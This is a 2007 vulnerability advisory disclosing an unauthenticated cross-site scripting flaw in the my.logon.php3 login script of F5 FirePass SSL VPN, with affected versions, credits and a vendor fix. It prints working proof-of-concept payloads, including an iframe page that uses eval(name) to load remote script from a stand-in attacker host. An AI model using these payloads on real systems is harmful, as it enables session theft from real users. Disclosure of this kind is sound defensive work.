PR07-15: Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL
VPN 'my.logon.php3' server-side script
Date Found: 19th June 2007
Successfully tested on: version 5.5.2
F5 Networks has confirmed the following versions to be vulnerable:
FirePass versions 5.4.1 - 5.5.2
FirePass versions 6.0 - 6.0.1
Description:
F5 Networks FirePass 4100 SSL VPN is vulnerable to XSS within the
"my.logon.php3" server-side script.
No authentication is required to exploit this vulnerability.
Consequences:
An attacker may be able to cause execution of malicious scripting code in the
browser of a user who visits a specially-crafted URL to an F5 Firepass device,
or visits a malicious page that makes a request to such URL. Such code would
run within the security context of the target domain.
This type of attack can result in non-persistent defacement of the target site,
or the redirection of confidential information (i.e. admin session IDs) to
unauthorised third parties.
Proof of concept (PoC) URL:
https://target.tld/my.logon.php3?";></script><textarea>HTML_injection_test</textarea><!--
The payload in the example is
"></script><textarea>HTML_injection_test</textarea><!--
which injects a 'textarea' box
The following PoC HTML page would run JavaScript without any restrictions from
a third-party file ('http://www.evil.foo/b' in this case):
<html>
<iframe
src="https://target.tld/my.logon.php3?%22%3E%3C/script%3E%3Cscript%3Eeval%28name%29%3C/script%3E%3C%21--";
width="0%" height="0%"
name="xss=document.body.appendChild(document.createElement('script'));xss.setAttribute('src','http://www.evil.foo/b')"></iframe>
</html>
Successfully tested on:
Server environment:
F5 FirePass 4100
Client environment:
Microsoft Internet Explorer 7.0.5730.11
Severity: Medium/High
Author: Richard Brain of ProCheckUp Ltd (www.procheckup.com)
With thanks to Petko D. Petkov for suggesting the eval(name) technique.
References:
http://www.procheckup.com/Vulnerability_2007.php
http://www.f5.com/products/FirePass/
ProCheckUp thanks F5 Networks for working with us.
Fix:
F5 Networks has issued SOL7923:
https://support.f5.com/kb/en-us/solutions/public/7000/900/SOL7923.html?sr=1
